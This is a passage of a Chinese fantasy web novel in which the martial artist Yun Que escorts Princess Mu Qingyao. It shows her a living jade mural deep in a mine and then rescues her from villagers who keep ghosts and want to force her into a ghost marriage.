见云缺安然无恙,那恶灵却彻底消失,牧青瑶长出了一口气。 小郡主此刻心有所感,回过身,望向院子的一处角落。 水井里的那道女人幽魂,正朝着客栈大门这边盈盈一拜,随后渐渐暗淡,彻底不见了。 大仇得报,亡魂终散。 收起银票和钩镰枪,云缺看了看渐晚的天色,道: “距离百玉城至少两天路程,今天走不上了,明儿起程。” “听你安排。”牧青瑶道。 “你是不是很有学问?”云缺问道。 “有学问不敢当,书的确没少看,大晋的书籍基本我都看过。”牧青瑶道。 “跟我去个地方,有件特殊的东西帮忙辨认一下。”云缺道。 第12章 还追呀,我到家啦 三名凶手伏诛,陈员外家的命案就此完结。 县令马庸热情的邀请小郡主去县衙休息,并派遣武大川等衙役负责保护。 牧青瑶婉言谢绝。 小城镇没多少驻军,凭着藏石镇县衙这点兵力,来几个九品武者即可全灭。 牧青瑶深知刚才被击杀的三人绝非幕后真凶,她不想连累这些衙役。 马庸不算蠢人,隐约看出这件事背后的不寻常,小小的藏石镇,居然有八品武者杀人。 杀的还是个无关紧要的普通女子。 再联系到武大川刚才禀报的,镇上百姓想要烧死灵芸郡主之事,马庸的额头开始冒冷汗。 他只是个小小的县令,大人物斗法,他哪敢插手。 这种事一旦牵扯上半点,最轻的都得掉成皮! 马庸正不知所措之际,旁边传来一道声音。 “郡主安危事关重大,真要在我们藏石镇有个三长两短,大人的人头怕是难保,应当尽快护送郡主离开此地。” “派人没问题,关键郡主不用我们跟着啊!”马庸急切道。 “我一直给郡主当向导,不如大人派遣我随行,我顺便还能保护一二。” 马庸扭头一看,说话的正是云缺。 马庸大喜道: “好!云缺你果然是我们县衙的佼佼者,护送郡主的任务就交给你了!” 牛不才忙道: “有云兄弟护送,可保郡主安然无恙!” “卑职遵命,不过这差旅费,大人还是先结了为好。”云缺微笑着伸手道。 马庸和牛不才同时脸色一僵。 衙门里,的确云缺最强,但要钱的速度也最快。 马庸皱着眉试探道:“十两?” 见云缺冷笑,牛不才伸出两根手指道:“二十两!” 云缺打了个哈欠。 “一口价,五十两!不能再多了。”马庸肉疼的道。 “大人呐,卑职偶染风寒身体不适,最近出不了门,保护郡主的任务你还是另请高明吧。”云缺装模作样的咳嗽了两声。 “别别别!你到底想要多少!”马庸咬牙道。 “大家相识这么多年,别开太狠了,给个友情价!”牛不才讪笑道。 云缺笑呵呵的伸出两根手指,马庸牛不才互相看了一眼,全都脸色发苦。 牧青瑶等在门外,好一会儿云缺才出来,一边走一边往怀里揣什么东西。 牧青瑶眼力极好,一眼认出是银票。 而且还是二百两面值的银票。 牧青瑶不由得莞尔轻笑。 走在街上,牧青瑶的心情轻松不少,道: “你说的神秘之物在何处,到底是什么?” “到了你就知道,很大一块,应该挺值钱,可惜弄不出来。”云缺道。 牧青瑶听得愈发好奇。 两人走过长街,来到藏石镇最北端。 这里是一片荒山区域,没有多少人家,也算藏石镇的范围,但几乎没人住。 山脚下,是一处矿洞,四周搭建着临时供人休息的简易棚屋。 此时正是黄昏,矿上的苦力下了工,正三五一群的往家走。 矿工们见到云缺,立刻面带敬意的热情招呼。 矿上有矿头儿,一般情况下,天黑后矿里是不许再进人的,怕发生意外。 不过云缺是个例外。 得知云缺要进矿,矿头儿二话不说拿来个灯笼交给云缺,特意填满灯油。 “矿里黑,地不平,云哥儿可要瞧着点脚下。” 矿头儿陪着笑道,比迎接县令都要恭敬。 云缺提着灯笼,带着牧青瑶走进漆黑的矿洞。 矿洞狭长,崎岖不平,深不见底。 这里是藏石镇的玉石矿,皇城内有不少珍品玉石都来自此地。 藏石镇这处偏远小镇也是由此而生。 一座玉石矿,养活了镇上近半数的百姓人家,几乎每家都出过矿工。 走进矿洞,牧青瑶心里的好奇便被沉重所替代。 她静静的走在云缺身旁,时而看一眼头顶或者角落,清澈的眸光带着一丝悲意。 这座玉石矿,虽然养育了很多百姓,但也夺走了许多百姓的生命。 开矿不仅苦累,还伴随着极大的危险。 随时坠落的山石,不知夺走了多少矿工的生命。 一路走来,牧青瑶至少看到十几道游魂,在暗无天日的地底徘徊。 灵芸郡主有通灵之能,却无超度之力。 “下矿干活的全是有把子力气的汉子,首先要吃饱,这样阳气才盛,其次只在白天干活,天黑不入矿,这是规矩。” 云缺的声音打破了宁静。 牧青瑶:“我能看到这里有许多游魂存在,天黑入矿对普通人来说的确危险。” 云缺道:“你说错了,危险的不是游魂,而是连夜开矿没人熬得住,容易出事故。” 牧青瑶:“午夜阴气最浓,这里游魂不少,又深处地底,时间长了容易凝聚出恶灵,难道不是危险?” 云缺道:“理论上虽然危险,但这里不一样,据我所知,这处玉石矿死过不少人,但从未出现过恶灵伤人的情况。” 牧青瑶:“难道这里有道家气息或者佛门法器,能镇压鬼物?” 云缺道:“没那些东西,这里的幽魂之所以不伤人,因为它们没有怨念,他们生前都是自愿来劳作的穷苦人家,为了养家糊口,为了妻儿老小,即便累死也心甘情愿,不会怨恨他人,这就是穷苦人家眼中的道理。” 牧青瑶的脚步顿了一下。 身为大晋的才女,饱读诗书的灵芸郡主自以为世上没有什么道理是她所不懂所不知的。 今天,牧青瑶才知道,原来世上还有些道理,她并不知道。 小郡主重新跟上云缺的脚步。 “去年矿上闹邪祟,我以为恶灵厉鬼之类,看来不是,究竟是什么。”牧青瑶道。 “沙子。”云缺道出了简单的两个字,听起来十分诡异。 “沙?” 牧青瑶诧异不解,道:“我见过许多灵体,草木之灵,妖物之魂,冤魂恶鬼,还有器灵、山灵、河灵,唯独没见过沙中有灵,你说的沙子,莫非是活物?” “不像活的也不像死物,那堆沙子就像有生命一样,我以前也没见过那玩意。”云缺道。 “你想要让我辨认的,是那堆奇特的沙子?”牧青瑶道。 “不是沙子,去年来的时候砍了那怪东西几百刀,沙子全砍碎了。” 云缺说着走进一处狭窄的岔路。 这种岔路在矿洞里很常见,一般都是大矿洞的分支。 岔路尽头是死路。 牧青瑶正奇怪的时候,发现云缺探出双臂,抓住了岩石两侧。 在牧青瑶惊奇的目光里,云缺竟将看似尽头的岩石挪移了开来! 轰轰的闷响过后,一条新路出现在两人面前。 牧青瑶仔细看了看。 被云缺挪开的巨石极其厚重。 这种重量的巨石,当做石门封堵的话,即便被发现也很难挪开。 “你做的暗门,怕不得有三千斤的分量了。”牧青瑶道。 “算是我做的,重量说少了,至少三万斤。”云缺拍了拍手上的灰尘。 牧青瑶微张檀口,对武夫的肉身之力大为羡慕。 力量,是武者与其他修行体系区别最大的地方。 道、佛、儒、巫的修行者有的能呼风唤雨,有的能言出法随,有的可佛光普照,有的能梦中杀人。 但这些修行者都有一个命门,那就是相对脆弱的肉身。 当然这里的脆弱,是比较武者而言,比起寻常凡人还是强大很多。 反观武者。 专门打熬气血修炼肉身,力量与速度十分惊人,是天下修行者体系当中,唯一敢与妖兽近身肉搏的一类。 一旦被武者近身,其他体系的修行者都得等死。 这也是流传在修行界一句谚语的由来。 ‘打武先出手,晚了被送走。’ 经过那块巨石的时候,牧青瑶好奇的看了眼。 石头表面全是一粒粒的沙石,与其他石头有所不同。 “好像不是石头做的。”牧青瑶道。 “当然不是,这么大的石头可不好找,这就是去年在矿里作祟的那堆沙子。”云缺道。 牧青瑶闻言一惊,下意识的后退了一步。 咚咚。 云缺敲了敲巨石,竟发出中空的响动。 “里面是空的,这些奇怪的沙子很沉,要不是不好拿,我都想搬出去卖了。”云缺道。 牧青瑶再次一惊。 中空的沙石块,居然能达到三万斤的程度,可见每一粒沙子都有着惊人的重量! 云缺继续往里走。 通过石门后,是一条类似山体裂缝的存在,只能容一人通行。 牧青瑶看得出这种地势应该是天然形成,绝非挖出来的。 “那些沙子究竟是怎样行动的,类似流沙吗。”牧青瑶好奇道。 “差不多,汇聚在一起游来游去,跟条沙蟒似的,打不过我就开始逃跑,我追着砍了一路,到这里的时候,那团沙子忽然停下,回头对我说……” 云缺走在前面,突然回头道:“还追呀,我到家啦!” 牧青瑶怔在原地,直勾勾看着云缺,什么表情也没有。 云缺挠了挠头,道: “读书人果然笑点高,我觉得这个笑话挺有趣的。” 牧青瑶渐渐现出苦笑。 若在其他地方,云缺的笑话确实有趣。 可现在这个环境,这个气氛,牧青瑶刚才没吓得惊叫起来,已经算她定力够深,换个普通小姑娘,非得吓昏过去不可。 两人走出百丈远之后,前面豁然开朗,抵达一处宽敞的地底石窟。 当云缺站在石窟的墙壁前,高高举起火把。 牧青瑶眼中豁然泛起了浓浓的震撼之色! 第13章 一品之上 在牧青瑶眼前,是一面长达十余丈的玉石壁。 高有三丈,犹如一幅宏伟的壁画。 石壁上刻画着神秘的图案。 牧青瑶仔细辨认,很快看出了全貌。 那是一幅画。 天上有云,地上有山川湖泊。 除了风景之外,画中有五个人,或者说是五个神秘的强者。 其中有四个悬于半空。 分别是一尊千手玉佛,一位背后悬剑的短发道人,一位手持书卷的长袖儒生,一头三首六臂的怪人。 地面上只画着一个人。 一个手持单刀的武者,身形单薄,但目光始终望着头顶,手里的刀直指半空! 这幅巨大的壁画,带给牧青瑶的是一种难以言喻的震撼! 以牧青瑶的学识,一眼看出了画中的含义。 壁画中的五人,代表了世间的五种修炼体系。 千手玉佛代表着佛门,短发道人代表着道家,长袖儒生代表着儒士,三首六臂的怪人代表着巫蛊。 而地面上人,则是被各家修行者所鄙视的武夫! 天下间最被人不屑的武夫,修行者鄙视链最底层的存在,居然在壁画里以一战四! 从壁画可以看出,天空中的四位,绝非寻常的修行者。 以四位强者联手的局面,对付的,居然是一名武夫,这种情况,牧青瑶实在无法想象。 这超出了修行界的定律! 云缺仰头打量着玉石壁,道: “去年追杀那堆沙子的时候偶然发现这里,郡主学问渊博,帮忙辨认一下。” 牧青瑶压下心底的震撼,道: “我从未见过这种画卷,大晋皇宫有不少画作遗留,前朝的也有很多,但从画风来看不是晋国与燕国时期的东西,这种画风很古老,而且雕刻的技巧极为精湛,道一句巧夺天工也不为过。” “以我猜测,这处壁画应该是比燕国更加远古时期的遗留,集许多大匠的呕心沥血之作。” “壁画上描绘的五位强者,也许与某种修行界的隐秘有关,地面上的武者,居然能以一敌四还不落下风,可见武夫绝非天下修行者想象的那么弱小。” 牧青瑶的目光逗留在壁画上那武者身后。 在武者身后的空白处,雕刻着一只古怪的竖瞳,比武者的身体都要大出一倍,十分怪异,给人一种诡异之感。 “至于这颗竖瞳代表着什么,我看不出……” 牧青瑶微蹙黛眉,讲出自己的见解后就沉默下来。 她隐隐觉得那颗竖瞳有一种邪异的感觉,看久了令人很不舒服,有种被毒蛇盯住的错觉。 咚咚咚。 云缺敲了敲石壁,道: “郡主怕是误会了,我对画了什么不感兴趣,我就想知道这玩意值不值钱。” “无价之宝。”牧青瑶哭笑不得的给出了一个评价。 云缺高兴的搓着手道: “既然如此,我这人也不小气,见者有份,咱俩一人一半,以后弄出去平分!这东西埋得太深,挖出来工程太大,我一个人实在弄不来,要不是砍不动,早切碎带出去了。” 牧青瑶听得无可奈何,只剩苦笑。 云缺的打算,不亚于将名人字画剪碎了卖废纸的败家子。 这种天赐之物无价之宝,居然想切碎带走,实在暴殄天物。 更离谱的是,人家还真砍过! 转念一想,牧青瑶便又释然。 空守宝山而拿不走,那与一文不值有何不同。 牧青瑶理解了云缺的想法。 毕竟武者修炼极为耗费钱财,想要有所成就,必须靠着大量天材地宝堆积。 “等我回到皇城即可着手此事,我会派人配合你将这块玉壁挖出去。” 牧青瑶微笑道:“至于价值几何,都归你,我分毫不要。” “还是二一添作五为好,我可不想为了半块玉石壁冒险送你回皇城,郡主若死在路上,我可以找其他人合作,我这人虽然贪钱,更贪命。”云缺道。 “好吧,随你,我想再仔细看看这幅画。” 牧青瑶没有任何失望,她知道这点小心机,云缺肯定不会上当。 从云缺手里要过火把,牧青瑶走近石壁,仔细观看着壁画上的人物。 地面的武者能看得出是个年轻人,雕刻得惟妙惟肖,容貌十分陌生。 然而当牧青瑶将火把的光芒汇聚在上端的时候,这位灵芸郡主的脸色一点点变了。 从平静,变得惊诧莫名! “这是……儒圣!” 牧青瑶竟失态的惊呼出声,举着火把的手臂下意识的颤抖了一下。 牧青瑶终于辨认出来。 天空中的四个人物当中,那手持书卷的长袖儒士,正是传说中的儒道至圣,儒家的开山祖师! 之所以认得出来,是因为无论司天监的观星楼还是天祈学宫的儒生殿内,都供奉着儒圣的雕像。 壁画中的长袖儒士,无论形态与模样,都与儒圣雕像一般无二! 之前离着远,四周又太过昏暗,牧青瑶一时没看出来,现在走近了她立刻能确定。 画中的儒士,就是儒圣! “拿书的那个,是儒圣?”云缺道。 “不会错的,我在学宫见过多次儒圣雕像。” 牧青瑶此刻心绪起伏,惊疑道:“如果其中一位是儒圣的话,那千手玉佛应该代表着佛陀!短发道人是道尊,而三首怪人是巫神!” 能出现在同一幅壁画当中的人物,必定地位相当。 “儒圣,佛陀,道尊,巫神,能让四位超越一品的强者联手敌之……”牧青瑶目光凝重的看向地面那武者,自语道:“他,又是谁呢?” 世间的修行体系从九品至一品,这是修行界千万年来的定律。 但有几位传说级别的强者,突破了这份体系的禁锢,达到超越一品的程度。 道家一品之上,是道尊! 佛门一品之上,是佛陀! 儒家一品之上,是儒圣! 巫蛊一品之上,是巫神! 而武者一品之上,至今修行界没有任何记载遗留,只有一片空白。 各种修行体系都有至强者存在,即便是妖族都有超越一品的强者,唯独武夫,一品便是最高。 这也是武夫经常被鄙视的一个原因所在。 但是这幅地底深处的玉石壁画,却打破了修行界固守了千万年的定律。 牧青瑶惊疑不定的道: “原来武者当中,也有超越一品的存在!这幅画所包含的隐秘,也许比它本身的价值更高!” 云缺没说话,目光有些复杂的望着画中武者。 看的不是武者本身,而是武者身后的那只竖瞳。 “没准人家瞎画的,这你也信,我还会画能诛仙屠神的老母鸡呢。”云缺道。 虽然说得粗俗,牧青瑶觉得有些道理。 毕竟只是玉石画,其上的内容,来自雕刻者,不能当作真相来判断。 “走了,等以后缺钱的时候再说。” 云缺接过火把,与小郡主离开石壁往回走。 随着火光的远去,石壁重新被黑暗吞没。 在黑暗中, 石壁上那颗竖瞳竟无声无息的晃动了一下,瞳孔渐渐收缩,犹如活物般死死盯着两人远去的背影。 行走途中,牧青瑶忽然觉得浑身汗毛齐齐直立! 一种巨大的恐惧感突然笼罩,宛如自己被一条恶龙盯着,难以迈动脚步。 这种可怕的感觉,牧青瑶这一生从未体会过,直接定在原地,身体慑慑发抖。 牧青瑶甚至觉得自己即将被一张无形的大口吞没! 直至颤抖的小手儿,被云缺的大手抓住,牧青瑶才重新恢复正常。 牧青瑶没敢回头,任凭被云缺牵着远离了石窟。 随着沙子凝固的巨石合拢,这处神秘的地底石窟重新被封死。 当走出矿洞,呼吸到地面的新鲜空气,牧青瑶觉得自己犹如死里逃生,重获新生。 天已经彻底黑了。 明月高悬。 云缺的神色变得凝重,道: “你果然也感觉到了,刚才发现了什么。” 牧青瑶:“原来你让我看的不是壁画内容,而是石壁本身,刚才离开的时候,有一种很可怕的感觉突然袭来,在那种恐怖的感觉面前,我觉得自己渺小如蝼蚁。” 云缺道:“那块石壁,是活的。” 牧青瑶:“玉石里没有活物的气息存在,也没有灵体徘徊的迹象,不像活物。” 云缺道:“不是玉石里有活物,而是整块玉石是活的,或者说成是活物与死物之间的一种特殊东西,具体是什么,我也说不好,不过去年被我砍死的那堆沙子,肯定与石壁有关。” 牧青瑶:“沙为石,难道诡异的活沙来自玉石壁!” 云缺道:“有可能,石壁的事帮我保密,你最好别自己来,否则我不保证你能活着离开。” 牧青瑶:“这点你放心,你的东西我不会觊觎,更不会在外面宣扬,你打算如何处理玉石壁,留着,还是将来有机会挖出去。” 云缺道:“先留着,等没钱的时候再说。” 牧青瑶:“我的建议是远离,刚才那种感觉我平生仅见,连监正师尊都没有那么令人恐惧的气息,玉石壁很危险,不!应该说极度凶险!” 云缺道:“我们穷人命贱,如果快饿死了,神佛现身也得上去咬两口啊,何况一块玉石壁。” 牧青瑶愣了愣,对于云缺的说法无法反驳。 云缺道理,总是那么干脆直接。 粗俗的生存至理。 活着,才有一切,死了,万事皆空。 夜已深。 回到家后,云缺直接倒在床上,抱着刀,脸朝里,打着哈欠道: “如果郡主觉得不方便,你出钱,去住客栈也成。” 牧青瑶望着屋子里唯一的木床,稍一犹豫,便和衣躺在了外侧。 望着透过窗棂的明月,小郡主久久无法入睡。 “你认得地底的那幅画,对么,你知道画上的是儒圣道尊佛陀与巫神。”牧青瑶道。 “这也看得出来?”云缺道。 “嗯,因为我说出儒圣的时候,虽然你在惊讶,但你的表情里,震撼的程度远远不够。”牧青瑶道。 “能看到灵体已经够厉害了,还能窥察人心,太厉害的女人,小心以后嫁不出去。”云缺道。 “我没有你想象的那么厉害,我也有软弱的时候,只是习惯了坚强而已……云缺,你可认得画中那名武者是谁,我很好奇他的来历。”牧青瑶道。 第14章 红燕南飞 短暂的沉默过后,云缺只说了三个字。 “不认得。” 牧青瑶望着月光出神,思绪随着夜色飘散,轻声道: “世人都知武夫至多为一品,没有超品强者存在,道儒佛巫都觉得武夫是下等修士,不屑一顾,我觉得武夫一品为终点的这份桎梏,也许早已被打破过,只是不为人知。 画像里能与四位天下至强对战的,必定是超越一品的强大武者,他一定是个神秘而特殊的人,他的来历,也许关乎着一品武者之上的秘密,云缺,你身为武者难道不好奇么。” “不好奇,有那工夫还不如多睡一会儿养足精神,那家伙又不是人。”云缺的声音在黑暗中响起。 “他是什么?”牧青瑶渐渐睁大了清澈的眼睛。 “怪物。”云缺道出了两个沉重的字眼。 想起壁画上那武者背后的巨大竖瞳,牧青瑶的呼吸停顿了一瞬,一股强烈的压迫感从心底升起。 牧青瑶很想追问一番,但身旁,已经传来了云缺的鼾声。 这一夜,小郡主想了很多,许久之后才沉沉睡去。 天明。 晴空万里。 云缺早早醒来收拾行囊,背上两顶斗笠,带上包裹,里面是三眼血狼的狼皮。 这东西在藏石镇是卖不出去的,需要到大城镇才能卖上个好价钱。 百玉城,就是云缺的目的地。 包子铺吃过早点,云缺又去了一趟集市。 转了一大圈,空手而归。 集市上没有蛇蛋与鸟蛋。 牧青瑶知道那是云缺的习惯,没有过多询问。 随后两人从南门出了镇子。 牧青瑶依旧穿着云缺的旧衣服,没有刻意打扮,清丽的容貌仍旧倾国倾城。 镇子口有一棵歪脖树,树上落着些燕子。 其他燕子都在叽叽喳喳,时而飞走时而飞回,唯独一只特殊的燕子站在树杈上一动不动。 这只燕子是红色的。 灵动的小眼珠缓缓转动,盯着走出藏石镇的两个年轻人。 当云缺与牧青瑶走远,红色的燕子扇动翅膀,朝着南方飞去。 “红燕南飞,血光之灾,不是好兆头哦。” 走在崎岖不平的土路上,云缺瞥了眼天空道。 被云缺提醒后,牧青瑶抬头望去。 高处,一只小小的红色燕子正越过两人,朝着大路前方飞去。 以牧青瑶的心智,立刻猜测到那只奇特的红燕,是一条眼线。 盯着灵芸郡主的眼线! 牧青瑶苦涩一笑。 藏石镇距离皇城千山万水,至少两三个月的路程,这才刚出小镇就被人监视,想要活着回到皇城难如登天。 走出里许后,前面出现一片树林,两侧是岔路。 牧青瑶听云缺说过,藏石镇南门出去后,往左乌鸡镇,往右百玉城,两条路都通天祈。 小郡主下意识的想要往右走,结果被云缺拉住进了树林,躲在林间一棵高大的老树后。 “换衣服,戴上斗笠,我们分头走。” 云缺扫视着头顶,目光锐利如鹰。 牧青瑶会意,将身上的灰色长衣交给云缺,自己穿上了云缺的黑衣。 两人兑换了外衣,戴好斗笠。 “那只红燕不简单,想要逃过它的视线怕是很难。”牧青瑶道。 “再不简单也是个畜生罢了,听没听过一个词儿,傻鸟。” 云缺笑了笑,道:“藏石镇到百玉城要两天路程,中间有几处村落可以落脚,一会儿你往右走,我往左走,如果那傻鸟跟着你,走出百丈后你拐进树林我们再次调换,傻鸟跟着我的话,你就一直走,在途径的第二个村子等我即可,记住第一个是大石村,第二个是小石村,别弄错了,小石村能过夜,大石村不能。” 牧青瑶点头记下,两人就此分路而行。 云缺走左,牧青瑶走右。 岔路口一侧的树顶,红色的燕子转动着小眼珠,盯着分开的两道身影。 红燕子左右看了看,没有任何犹豫,朝着左侧飞去。 这只燕子的确很聪明,能记住目标所穿的灰衣,即便有斗笠遮挡,它也能继续追踪下去。 但燕子的聪明有限,正如云缺所言,就是只傻鸟罢了。 牧青瑶脚步很快,匆匆而行。 边走边谨慎的观察上空。 直至确认红燕没追踪自己,牧青瑶松了口气。 云缺的办法看似简单,却十分实用,轻而易举的甩掉了眼线。 否则以燕子的飞行高度,在地面上的人根本没辙。 沿着土路,牧青瑶走出半天时间,眼见着日头西斜,她坐在路旁稍微休息。 牧青瑶估算着云缺应该甩掉了红燕,正往这边赶。 一直赶路,牧青瑶口渴难耐。 正好路边的林间有一条小溪,溪水清澈见底。 捧起溪水喝了几口,顿时觉得通体清凉,很是舒服。 望着水面,牧青瑶对自己的倒影自语道:“只要不放弃,一定能活着回到皇城!” 用溪水洗了把脸,牧青瑶站起身。 随后整个人怔住不动。 小溪对面,一头壮硕的棕熊也在用溪水洗脸,棕色的毛发滴滴答答滑落着水滴。 见牧青瑶起身,那棕熊也缓缓直立起来,比牧青瑶高出两倍还多! 牧青瑶的额头出现冷汗。 在荒林里,熊的杀伤力是极其可怕的! 一猪二熊三老虎,这句话可不是说说而已。 牧青瑶宁可自己撞上的是一头老虎,也不愿面对一头棕熊。 老虎相对谨慎,不会轻易狩猎,有机会将其吓退,但熊不同,这东西如果饿急了,石头都能咬两口。 牧青瑶始终保持着冷静,缓缓向后退去,眼睛始终盯着棕熊。 棕熊四爪着地,也慢慢迈进了小溪,不紧不慢的跟着牧青瑶,犹如一只老猫在戏耍着老鼠。 牧青瑶知道甩不掉棕熊,转身奔跑。 她身后的棕熊紧追不舍,速度一点也不慢。 熊虽然看似笨拙,但跑起来绝对不比人慢,除非是有修为的武者,才能在速度上甩开棕熊。 当然若有武者修为,牧青瑶也就无需逃命,转身杀熊便是。 可惜,柔弱的灵芸郡主不是武者,也没有任何修为,此刻只能拼命逃亡。 牧青瑶很聪明。 她没选择跑回大道,而是在林间穿梭,靠着繁多的树木来拖延棕熊的猎杀。 一路逃亡,牧青瑶直至筋疲力尽。 天已经擦黑。 牧青瑶终于逃出丛林地带,眼前出现一座村庄,百多户人家,所有的屋子里都点着灯。 牧青瑶早已分不出方向,她现在不清楚这里是小石村还是大石村。 既然有村子,就有脱困的希望。 牧青瑶用尽最后的力量逃进村庄。 在经过村口的时候,看到有一块半人高的石盘,磨盘大小,上面刻着不少痕迹。 牧青瑶没时间多看,想着逃进村子呼救。 只要有村民出来,人多的话,对付一头熊不算困难。 奇怪的是, 当牧青瑶逃进村口,身后的棕熊竟停了下来,在村口徘徊一会儿后,调头返回了丛林。 远远看到棕熊离开,牧青瑶随即瘫软了下去。 险死还生的一幕,牧青瑶这一路经历过多次,她以为自己的内心足够强大,但每一次都会后怕许久。 毕竟是个十七岁的小姑娘,面对死亡,很难做到心如止水。 “丫头,外乡人?” 一道苍老的声音响起在身后。 牧青瑶回头一看,是个驼背老者,皱纹堆垒,只剩两颗牙,手里提着一个白惨惨的灯笼。 牧青瑶强撑着站起来,道: “刚刚遇到野兽,慌不择路,敢问老伯,这里可是小石村?” 之所以询问小石村,牧青瑶根据村口的石盘猜测。 那块石盘不算大,怎么看与大石村的名号也不搭。 “对,这里是小石村。” 驼背老者咧开嘴角现出个难看的笑容,指着旁边的屋子道:“这是我家,进屋歇歇脚喝口水,不用怕,我是这里的村正。” 牧青瑶放心下来,道谢后,来到老者家里。 之前云缺说过大石村不能过夜,牧青瑶没来得及询问缘由,但云缺说的话,她是信的,大石村肯定有无法过夜的因由。 既然是小石村,牧青瑶便不再担忧,打算在这里等待云缺。 一进屋子,牧青瑶的神色微微一变。 屋子里点着油灯。 一张方桌,桌子上摆着凉掉的饭菜。 三个空碗,三双筷子。 然而这户人家只有驼背老者一个人居住。 牧青瑶停步在门口,目光很自然的扫过桌椅,略带歉意的道: “打扰老伯了,忽然想起还有些急事,这便告辞了。” 说罢牧青瑶转身就走。 “天都黑了,再急也得吃完饭再走啊,好不容易一家团聚。”驼背老者的声音带着一种诡异。 牧青瑶即将迈出门口的脚步,就此顿住。 屋门外,不知何时聚集了一批村民,一个个枯瘦如柴,气息微弱,唯独眼睛十分明亮,在黑夜里宛若狼眼般散发着光泽。 村民们无声无息的站在门外,封死了小郡主的退路。 牧青瑶的心渐渐沉了下去。 刚逃出熊口,又入狼窝! 牧青瑶始终保持着冷静,缓缓坐在驼背老者指点的座位上,两侧空空。 “我儿子走了好多年,一直没媳妇,哎,我们这些当父母的实在不忍心,寻思着帮他物色一个,可惜总也没有合适的。” 驼背老者盛了四碗饭,絮絮叨叨的道: “今天一看到你呀,我就知道我儿子的缘分到了!你们简直是天生一对呀,孩子他娘也觉得你最适合,姑娘啊,留下来做我家的儿媳妇吧,今天咱们一家人团聚!” 老村长目光殷切,两侧嘴角上扬,说着诡异的话语。 明明屋子里只有两个人,却说得犹如四人同餐。 第15章 我住青狐山 驼背老者的盛情,带着令人毛骨悚然的诡异。 牧青瑶稳重的坐在原位,目光清冷。 别人看不到的东西,她能看得到! 小屋里,不止两人。 准确的说,还有两道鬼体,分别坐在牧青瑶的左右两侧。 左侧的是个年轻人,青面獠牙,右边的是个老妪,老脸上爬满蛆虫。 “这里,不是小石村。” 牧青瑶冷静的说道。 她现在终于知道这里是什么地方了,必定是大石村无疑。 难怪云缺说大石村无法过夜,原来这里的人会养鬼! “什么村又能如何,不过是个名字罢了。” 驼背老者诡笑道:“你可能不知道大石村小石村这种名字的由来,十几年前,这里发生过地龙翻身,旁边高山上的石头都给震了下来,一些碎石落在小石村里,而一些巨大的山岩则落在我们大石村,那一次天灾,砸死了半个村的人呐,我那婆娘和儿子都被活生生砸成了肉泥。” “逝者已逝,生者如斯,何必强求。”牧青瑶道。 “这是什么话!一家人整整齐齐才叫家呀,没了他们,我自己活着有什么意思!幸好当时有位仙姑途经此地,为我们这些苦命人指点迷津,这才留下了家中亲人。” 驼背老者的情绪从愤怒转为感恩,变化得自然又诡异。 “我理解你们的苦衷,但我不能留下。” 牧青瑶缓缓伸展双手,对着两侧的空位,心神转动间,一股玄奥的力量浮现而出。 两侧的鬼体从狰狞恐怖,渐渐转为平和,从悬浮状态转换为坐下的姿态,犹如被驯服了一样。 通灵之体的能力,沟通鬼物! “他们,同意让我走。”牧青瑶凝重的道,直视着对面的驼背老者。 “不可能!你用邪法控制了我儿与他娘!你今天走不掉!必须跟我儿成亲!” 驼背村长左右看了看两道鬼体,愤怒的推开门,朝着院子里的村民喊道:“快去点燃石台!召我们亲人归来!” 立刻有几个村民跑到村口,在那块磨盘形状的石头上点起红烛。 当一支支红烛亮起,大石村里弥漫起一层灰雾,灰雾中传来无数细声轻语,宛如鬼域降临。 牧青瑶发现左右两侧的鬼体逐渐暴躁起来,很快失去控制,再也无法沟通。 “养魂台……你们居然造了此等邪物。” 牧青瑶讶然道。 原来村口的石台,是一种饲养阴魂鬼体的阴神之台,通常用极阴之物打造,夜夜以香火供养,多年后方可成型。 养魂台是幽魂的最终归属,白天栖息于石台中,夜晚回归各家各户与亲人团聚。 大石村里的阴魂,早已与养魂台融为一体,牧青瑶的通灵能力,无法控制这种拥有魂台的灵体。 驼背村长从柜子里翻出一套凤冠霞帔,诡笑着走向牧青瑶。 “姑娘啊,换上吧,今晚就是好日子,跟我儿拜堂成亲!” 牧青瑶冷声道: “我是灵芸郡主,皇亲国戚,你敢动我分毫,陛下定当震怒,你们全村人都得陪葬。” “陪葬好哇!我们早就活够啦,早死晚死不都是个死吗!我儿运气不错,居然能娶到位郡主殿下,我死也值了嘿嘿嘿嘿!” 驼背村长伸出干枯的大手,抓向牧青瑶。 牧青瑶走投无路,彻底陷入死地。 即便她能逃出这间屋子,也无法从外面几十个村民手里逃掉。 驼背村长打定了心思,要拿她当儿媳。 正这时,屋门被推开。 走进个神色冷峻的少年,提着大包裹,背后悬着刀。 “云缺!” 牧青瑶惊喜的低呼道。 云缺一声不吭,走进屋子,直接坐在牧青瑶旁边,端起碗开始大吃。 不大会儿的工夫,三碗饭全吃光。 云缺盯着牧青瑶面前的白饭,道:“你吃不吃?” 牧青瑶摇了摇头,满眼诧异。 这种死人饭,人家居然吃得津津有味。 “不吃我可吃了,跑了一天,饿坏了。” 云缺端起牧青瑶面前的饭,几口下肚,打了个饱嗝。 一旁的驼背村长呆滞半晌,这会儿才反应过来,怒道: “哪来的毛头小子!你有几条命敢在我们大石村撒野!” 云缺瞥了眼对方,道:“吃你顿饭而已,大呼小叫什么,又不是不给钱。” 哗啦一声。 一把铜钱扔在桌上。 云缺拉起牧青瑶就走。 “拦住他们!” 驼背村长大呼下,院里的村民围拢上来,直勾勾盯着云缺与牧青瑶。 “这里是大石村!我说了算!你们今天走不掉!” 驼背村长的目光充满杀意,冷喝道:“老婆子,闹事的家伙交给你了!他敢阻拦我们儿子成亲,今天就别想着活命!” 随着驼背村长的喝声,屋子里那满脸蛆虫的老妪魂魄立刻嘶吼着扑向云缺。 云缺连动都没动。 只是淡淡的呵了一声,那扑上来的老妪鬼体就瞬间崩裂成一团灰气,消散成虚无。 驼背村长明显能感受到老妪鬼体的消散,他大惊之下喝问道: “你、你到底是什么人!” “我住青狐山。” 云缺淡淡的道。 一句我住青狐山,无论驼背村长还是院子里的村民,齐刷刷倒吸凉气,脚步下意识的往后退去。 大石村与小石村都属于知远县地界。 在知远县,或许有人不知道县令的大名,但青狐山却无人不知无人不晓。 尤其住在青狐山的那个人,被许多村镇的百姓奉为神明! “你是青狐山的猎妖人!” 驼背村长在惊恐过后,老脸上再次浮现出狰狞道:“猎妖人又能如何!我们是人,是平民百姓!你猎你的妖去,少来在这多管闲事!” 院子里的大石村百姓又重新围拢过来,甚至有些人还拿起了镐头铁锹。 “当我不敢杀你是么。”云缺冷笑道。 “我是活人!你敢杀人就要偿命!” 